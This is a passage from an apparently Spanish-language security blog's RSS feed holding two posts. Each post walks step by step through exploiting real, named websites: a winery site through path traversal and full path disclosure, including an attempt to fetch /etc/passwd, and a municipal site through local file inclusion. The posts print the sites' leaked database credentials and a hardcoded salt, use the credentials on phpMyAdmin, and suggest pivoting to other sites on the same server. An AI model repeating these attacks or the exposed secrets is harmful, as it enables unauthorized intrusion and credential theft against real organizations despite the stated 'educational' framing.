		<category><![CDATA[vulnerabilidad]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=770</guid>
		<description><![CDATA[Antes de mostar cualquier cosa quiero dejar en claro que todo lo que leerán de aquí en adelante es sólo con fines educativos, si tu eres un hacker malo que le encanta hacer cosas feas a los sitios con este tipo de fallas tan estúpidas comunes, este documento no es para ti, asi que vete [...]]]></description>
			<content:encoded><![CDATA[<p>Antes de mostar cualquier cosa quiero dejar en claro que todo lo que leerán de aquí en adelante es <strong>sólo</strong> con fines <em>educativos</em>, si tu eres un hacker malo que le encanta hacer cosas feas a los sitios con este tipo de fallas tan <span style="text-decoration: line-through;">estúpidas</span> comunes, este documento no es para ti, asi que vete maldito delincuente hacker inescrupuloso.</p>
<p><img src="http://blog.zerial.org/wp-content/uploads/2009/08/directory-trans.jpg" alt="directory-trans" title="directory-trans" width="200" height="192" class="aligncenter size-full wp-image-778" /></p>
<p>Habien dicho todo esto, llego el momento de la acción. <strong>Wanna rock?</strong></p>
<p><span id="more-770"></span></p>
<p>El sitio que usaremos será el de <a href="http://www.veramonte.cl" target="_blank">Veramonte</a> y las vulnerabilidades que <span style="text-decoration: line-through;">explotaré</span> enseñaré son <strong>Full Path Disclosure</strong> y <strong>Directory Transversal</strong> (no explicaré que significa cada una ya que para eso está google y no quiero quitarle sus clientes).<br />
Como primer paso, ingresaremos al sitio <a href="http://www.veramonte.cl" target="_blank">http://www.veramonte.cl</a> y mriaremos rápidamente si encontramos algo sospechoso, a simple vista podemos encontrar una posible url candidata a ser explotada:</p>
<p><a href="http://www.veramonte.cl/archivo/archivo2.php?cat=bodega" target="_blank">http://www.veramonte.cl/archivo/archivo2.php?cat=bodega</a></p>
<p>Pero si intentamos hacer cualquier cosa, nos damos cuenta de que no podemos hacer mucho <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Por ende, seguimos profundizando. En este caso, yo llegue lograr hasta la siguiente url:<br />
<a href="http://www.veramonte.cl/admin/download.php?path=">http://www.veramonte.cl/admin/download.php?path=</a></p>
<p>Mis ojos se dirigieron directamente a la variable &#8220;path&#8221; y fui probando, hasta lograr mi objetivo: Descargar y navegar por los archivos como si fuese un ftp personal. Empezando por descargarme el mismo fichero download.php y ver como está hecho:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$f</span> = <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st0">&quot;path&quot;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">&quot;Content-type: application/octet-stream&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/header"><span class="kw3">header</span></a><span class="br0">&#40;</span><span class="st0">&quot;Content-Disposition: attachment; filename=<span class="es0">\&quot;</span>$f<span class="es0">\&quot;</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; <span class="re0">$fp</span>=<a href="http://www.php.net/fopen"><span class="kw3">fopen</span></a><span class="br0">&#40;</span><span class="st0">&quot;$f&quot;</span>, <span class="st0">&quot;r&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <a href="http://www.php.net/fpassthru"><span class="kw3">fpassthru</span></a><span class="br0">&#40;</span><span class="re0">$fp</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Eso nos dice CLARAMENTE que el fichero esta mal programado, no tiene ningun tipo de validación ni de protección, por lo que es explotable. Continuamos con la azaña, vamos a provocar un <em>path disclosure</em> introduciendo una ruta inválida, por ejemplo:<br />
<a href="http://www.veramonte.cl/admin/download.php?path=asdfgh">http://www.veramonte.cl/admin/download.php?path=asdfgh</a><br />
Nos encontramos que php nos muestra el siguiente error:</p>
<blockquote><p><strong>Warning</strong>:  fopen(asdfg) [<a href="function.fopen">function.fopen</a>]: failed to open stream: No such file or directory in <strong>/var/www/veramonte/html/admin/download.php</strong> on line <strong>5</strong></p>
<p><strong>Warning</strong>:  fpassthru(): supplied argument is not a valid stream resource in <strong>/var/www/veramonte/html/admin/download.php</strong> on line <strong>6</strong></p></blockquote>
<p>Con esto ya tenemos el <em>full path</em> al descubierto: /var/www/veramonte/html.<br />
La cosa acá se pone divertida, descarguemonos el /etc/passwd:<br />
<a href="http://www.veramonte.cl/admin/download.php?path=../../../../../../../etc/passwd" target="_blank">http://www.veramonte.cl/admin/download.php?path=../../../../../../../etc/passwd</a><br />
Nos encontramos con la sorpresa de que el servidor está &#8220;protegido&#8221;:</p>
<p style="text-align: center;"><img class="size-full wp-image-774 aligncenter" title="veramonte-1" src="http://blog.zerial.org/wp-content/uploads/2009/08/veramonte-1.png" alt="veramonte-1" width="498" height="127" /></p>
<p>Pero no importa, aún podemos seguir jugando. Descargamos el <em>index.php</em> para saber como funciona el sitio, que ficheros incluye, a que directorios hace referencia, etc etc.</p>
<p>Lo único que podemos rescatar el index es lo siguiente (código php):</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="co1">//Conecta a BD testing</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">include</span><span class="br0">&#40;</span><span class="st0">&quot;config/conex.php&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">include</span><span class="br0">&#40;</span><span class="st0">&quot;libreria/funciones.php&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">//$conect = Conectarse();</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><a href="http://www.php.net/session_start"><span class="kw3">session_start</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$secure</span> = <span class="st0">&#8216;%4f#.$$FUCK%%rt!89&#8242;</span>;&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="kw1">if</span> <span class="br0">&#40;</span><a href="http://www.php.net/isset"><span class="kw3">isset</span></a><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&quot;enviar&quot;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$username</span> = <span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&quot;charkikan&quot;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$password</span> = <span class="re0">$_POST</span><span class="br0">&#91;</span><span class="st0">&quot;cazuela&quot;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$password</span>&nbsp; &nbsp; &nbsp; &nbsp;= <a href="http://www.php.net/sha1"><span class="kw3">sha1</span></a><span class="br0">&#40;</span><span class="re0">$username</span> . <a href="http://www.php.net/sha1"><span class="kw3">sha1</span></a><span class="br0">&#40;</span><span class="re0">$password</span><span class="br0">&#41;</span> . <span class="re0">$secure</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">//echo $username.&quot; &#8211; &quot;.$password;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$sql_users</span> = <span class="st0">&quot;SELECT * FROM v_usuarios WHERE username = &#8216;&quot;</span>.<span class="re0">$username</span>.<span class="st0">&quot;&#8217; AND password = &#8216;&quot;</span>.<span class="re0">$password</span>.<span class="st0">&quot;&#8217;&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="co1">//echo $sql_users;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$resultado</span> = <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="re0">$sql_users</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="re0">$valor</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$resultado</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_SESSION</span><span class="br0">&#91;</span><span class="st0">&#8216;user_sitio&#8217;</span><span class="br0">&#93;</span> = <span class="st0">&quot;ON&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_SESSION</span><span class="br0">&#91;</span><span class="st0">&#8216;nombre_user_sitio&#8217;</span><span class="br0">&#93;</span> = <span class="re0">$valor</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_SESSION</span><span class="br0">&#91;</span><span class="st0">&#8216;apellido_user_sitio&#8217;</span><span class="br0">&#93;</span> = <span class="re0">$valor</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_SESSION</span><span class="br0">&#91;</span><span class="st0">&#8216;privilegio_user_sitio&#8217;</span><span class="br0">&#93;</span> = <span class="re0">$valor</span><span class="br0">&#91;</span><span class="nu0">4</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;&lt;script&gt;window.location=<span class="es0">\&quot;</span>admin.php<span class="es0">\&quot;</span>;&lt;/script&gt;&quot;</span>;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;&lt;meta HTTP-EQUIV=<span class="es0">\&quot;</span>Refresh<span class="es0">\&quot;</span> CONTENT=<span class="es0">\&quot;</span>10;URL=index.php<span class="es0">\&quot;</span>&gt;&quot;</span>; </div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span>&lt;/meta&gt;</div>
</li>
</ol>
</div>
<p>La primera línea me interesó muchisimo, me descargaré ese fichero, con las esperanzas de que estén escritos los datos de conexión a la base de datos y &#8230;&#8230;. <strong>bingo!!</strong>, lo tenemos:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?</div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> Conectarse<span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>!<span class="br0">&#40;</span><span class="re0">$link</span>=<a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="st0">&quot;localhost&quot;</span>,<span class="st0">&quot;veramonte&quot;</span>,<span class="st0">&quot;v3r4m0nt3&quot;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp;<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;Error conectando a la base de datos.&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/exit"><span class="kw3">exit</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>!<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="st0">&quot;veramonte&quot;</span>,<span class="re0">$link</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp;<span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/echo"><span class="kw3">echo</span></a> <span class="st0">&quot;Error seleccionando la base de datos.&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; <a href="http://www.php.net/exit"><span class="kw3">exit</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">return</span> <span class="re0">$link</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">?&gt;</span></div>
</li>
</ol>
</div>
<p>Si probamos por ftp, veremos que no podemos ingresar, entonces buscamos más posibilidades. Como yo tengo un poco de imaginación, lo que se me ocurró fue ingresar en <a href="http://veramonte.cl/phpmyadmin" target="_blank">http://veramonte.cl/phpmyadmin</a>:</p>
<p><img class="aligncenter size-full wp-image-775" title="veramonte-2" src="http://blog.zerial.org/wp-content/uploads/2009/08/veramonte-2.png" alt="veramonte-2" width="458" height="185" /></p>
<p>Creo que con esto, el objetivo ya está logrado.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal%2F&amp;linkname=Explotando%20una%20vulnerabilidad%20Full%20Path%20Disclosure%2BDirectory%20Transversal" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal%2F&amp;linkname=Explotando%20una%20vulnerabilidad%20Full%20Path%20Disclosure%2BDirectory%20Transversal" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal%2F&amp;linkname=Explotando%20una%20vulnerabilidad%20Full%20Path%20Disclosure%2BDirectory%20Transversal" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal%2F&amp;linkname=Explotando%20una%20vulnerabilidad%20Full%20Path%20Disclosure%2BDirectory%20Transversal" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal%2F&amp;linkname=Explotando%20una%20vulnerabilidad%20Full%20Path%20Disclosure%2BDirectory%20Transversal" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal%2F&amp;linkname=Explotando%20una%20vulnerabilidad%20Full%20Path%20Disclosure%2BDirectory%20Transversal" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal%2F&amp;linkname=Explotando%20una%20vulnerabilidad%20Full%20Path%20Disclosure%2BDirectory%20Transversal" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal%2F&amp;linkname=Explotando%20una%20vulnerabilidad%20Full%20Path%20Disclosure%2BDirectory%20Transversal">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/explotando-una-vulnerabilidad-full-path-disclosuredirectory-transversal/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Explotando vulnerabilidades LFI y Directory Transversal en un sitio web</title>
		<link>http://blog.zerial.org/seguridad/explotano-vulnerabilidades-lfi-y-directory-transversal-en-un-sitio-web/</link>
		<comments>http://blog.zerial.org/seguridad/explotano-vulnerabilidades-lfi-y-directory-transversal-en-un-sitio-web/#comments</comments>
		<pubDate>Sat, 18 Jul 2009 14:42:41 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sitios Vulnerables]]></category>
		<category><![CDATA[directory transversal]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[vulnerabilidad]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=607</guid>
		<description><![CDATA[Una vulnerabilidad LFI o Directory Transversal puede comprometer todo un servidor, no solo la cuenta del sitio que tiene la vulnerabilidad. Estas vulnerabilidades ocurren cuando se parsea una variable y el contenido de ésta es incluido o leído directamente, ya sea usando una función &#8220;include&#8221;, &#8220;fread&#8221;, &#8220;file&#8221;, etc. Son vulnerabilidades muy comunes y comprometen a [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-628" style="margin: 5px;" title="unprotected" src="http://blog.zerial.org/wp-content/uploads/2009/07/unprotected1.jpg" alt="unprotected" width="144" height="217" />Una vulnerabilidad LFI o Directory Transversal puede comprometer todo un servidor, no solo la cuenta del sitio que tiene la vulnerabilidad. Estas vulnerabilidades ocurren cuando se <em>parsea</em> una variable y el contenido de ésta es incluido o leído directamente, ya sea usando una función &#8220;include&#8221;, &#8220;fread&#8221;, &#8220;file&#8221;, etc.</p>
<p>Son vulnerabilidades <strong>muy</strong> comunes y comprometen a todo el servidor, si un atacante con las capacidades necesarias puede obtener acceso al servidor hatsa ganar root.</p>
<p>Les voy a mostrar cómo hacerlo y el impacto que puede llegar a tener.<br />
El sitio elegido es el de la <a href="http://www.municastro.cl" target="_blank">&#8220;Ilustre Municipalidad de Castro&#8221;</a>, sitio hecho en ASP <span style="text-decoration: line-through;">puaj</span>.</p>
<p>Antes de publicar todo esto, me di el trabajo de comunicarlo a los encagrados del sitio web sin obtener respuesta, por lo que asumo que no les interesa la seguridad y asi como yo, cualquier persona podría hacerle algo al sitio web o al servidor, asi que me di la libertad de tomar este sitio como ejemplo didactico.</p>
<p><span id="more-607"></span></p>
<p><strong>Paso a paso</strong></p>
<p>Navegamos el sitio buscando alguna vulnerabilidad, fijandonos en los links, formularios, etc. Si nos damos cuenta, situando el cursor sobre el menu de la izquierda podemos ver enlaces del tipo <em>http://www.municastro.cl/&lt;seccion&gt;?Seccion=&lt;archivo a incluir&gt;</em> por ejemplo <a href="http://www.municastro.cl/Cultura.asp?Seccion=cultura_resena_historica.htm" target="_blank">http://www.municastro.cl/Cultura.asp?Seccion=cultura_resena_historica.htm</a> lo que a simple vista parece ser vulnerable a LFI cambiando el valor de la variable &#8220;Seccion&#8221;. Probemos, cambiemos cultura_resena_historica.htm por cualquier texto:</p>
<p><img class="aligncenter size-full wp-image-619" title="municastro1" src="http://blog.zerial.org/wp-content/uploads/2009/07/municastro1.png" alt="municastro1" width="460" height="36" /></p>
<p>Nos mostrará un mensaje como el siguiente:</p>
<p><img class="aligncenter size-full wp-image-620" title="municastro2" src="http://blog.zerial.org/wp-content/uploads/2009/07/municastro2.png" alt="municastro2" width="306" height="111" />Eso confirma nuestra teoría de que lo que hace el sistema es incluir directamente el archivo cuyo nombre es pasado mediante la variable Seccion, entonces empezamos a probar e intentamos incluir el mismo archivo Cultura.asp</p>
<p><img class="aligncenter size-full wp-image-621" title="municastro3" src="http://blog.zerial.org/wp-content/uploads/2009/07/municastro3.png" alt="municastro3" width="462" height="30" /></p>
<p>Nos mostrará<img class="aligncenter size-full wp-image-622" title="municastro4" src="http://blog.zerial.org/wp-content/uploads/2009/07/municastro4.png" alt="municastro4" width="497" height="423" /></p>
<p>Lo que claramente es el código fuente del fichero Cultura.asp. Para verlo un poco más claro podemos presionar control+u (en FF, para ver el código fuente) donde podremos ver</p>
<p><img class="aligncenter size-full wp-image-623" title="municastro5" src="http://blog.zerial.org/wp-content/uploads/2009/07/municastro5.png" alt="municastro5" width="334" height="152" /></p>
<p>¿Se dieron cuenta? Hay un fichero que se incluye llamado <strong>conMuniCastro.inc</strong>, en el que, según yo, están los datos de conexion a la base de datos. Comprobemos mi teoría:</p>
<p><img class="aligncenter size-full wp-image-624" title="municastro6" src="http://blog.zerial.org/wp-content/uploads/2009/07/municastro6.png" alt="municastro6" width="498" height="35" /></p>
<p><img class="aligncenter size-full wp-image-625" title="municastro7" src="http://blog.zerial.org/wp-content/uploads/2009/07/municastro7.png" alt="municastro7" width="594" height="350" /></p>
<p>En la última linea de la imágen, podemos ver como el  usuario y la password quedan a la vista de todos. Ahora lo único que queda, es buscar otros sitios alojados en el mismo servidor y empezar a incluir sus archivos para ver su código fuente e ir intentando ingresar por ftp, cpanel, etc hasta ganar algún tipo de acceso más privilegiado.</p>
<p><a href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotano-vulnerabilidades-lfi-y-directory-transversal-en-un-sitio-web%2F&amp;linkname=Explotando%20vulnerabilidades%20LFI%20y%20Directory%20Transversal%20en%20un%20sitio%20web" title="Delicious" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a> <a href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotano-vulnerabilidades-lfi-y-directory-transversal-en-un-sitio-web%2F&amp;linkname=Explotando%20vulnerabilidades%20LFI%20y%20Directory%20Transversal%20en%20un%20sitio%20web" title="Twitter" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotano-vulnerabilidades-lfi-y-directory-transversal-en-un-sitio-web%2F&amp;linkname=Explotando%20vulnerabilidades%20LFI%20y%20Directory%20Transversal%20en%20un%20sitio%20web" title="Facebook" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a href="http://www.addtoany.com/add_to/google_bookmarks?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotano-vulnerabilidades-lfi-y-directory-transversal-en-un-sitio-web%2F&amp;linkname=Explotando%20vulnerabilidades%20LFI%20y%20Directory%20Transversal%20en%20un%20sitio%20web" title="Google Bookmarks" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/google.png" width="16" height="16" alt="Google Bookmarks"/></a> <a href="http://www.addtoany.com/add_to/friendfeed?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotano-vulnerabilidades-lfi-y-directory-transversal-en-un-sitio-web%2F&amp;linkname=Explotando%20vulnerabilidades%20LFI%20y%20Directory%20Transversal%20en%20un%20sitio%20web" title="FriendFeed" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/friendfeed.png" width="16" height="16" alt="FriendFeed"/></a> <a href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotano-vulnerabilidades-lfi-y-directory-transversal-en-un-sitio-web%2F&amp;linkname=Explotando%20vulnerabilidades%20LFI%20y%20Directory%20Transversal%20en%20un%20sitio%20web" title="Digg" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a> <a href="http://www.addtoany.com/add_to/slashdot?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotano-vulnerabilidades-lfi-y-directory-transversal-en-un-sitio-web%2F&amp;linkname=Explotando%20vulnerabilidades%20LFI%20y%20Directory%20Transversal%20en%20un%20sitio%20web" title="Slashdot" rel="nofollow" target="_blank"><img src="http://blog.zerial.org/wp-content/plugins/add-to-any/icons/slashdot.png" width="16" height="16" alt="Slashdot"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fblog.zerial.org%2Fseguridad%2Fexplotano-vulnerabilidades-lfi-y-directory-transversal-en-un-sitio-web%2F&amp;linkname=Explotando%20vulnerabilidades%20LFI%20y%20Directory%20Transversal%20en%20un%20sitio%20web">Compartir/Guardar</a> </p>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/seguridad/explotano-vulnerabilidades-lfi-y-directory-transversal-en-un-sitio-web/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Información sensible expuesta publicamente en la UCV</title>
		<link>http://blog.zerial.org/seguridad/informacion-expuesta-universidad-catolica-valparaiso/</link>
		<comments>http://blog.zerial.org/seguridad/informacion-expuesta-universidad-catolica-valparaiso/#comments</comments>
		<pubDate>Fri, 29 May 2009 01:10:45 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[ucv]]></category>
		<category><![CDATA[universidad]]></category>
		<category><![CDATA[vulnerabilidad]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/?p=316</guid>
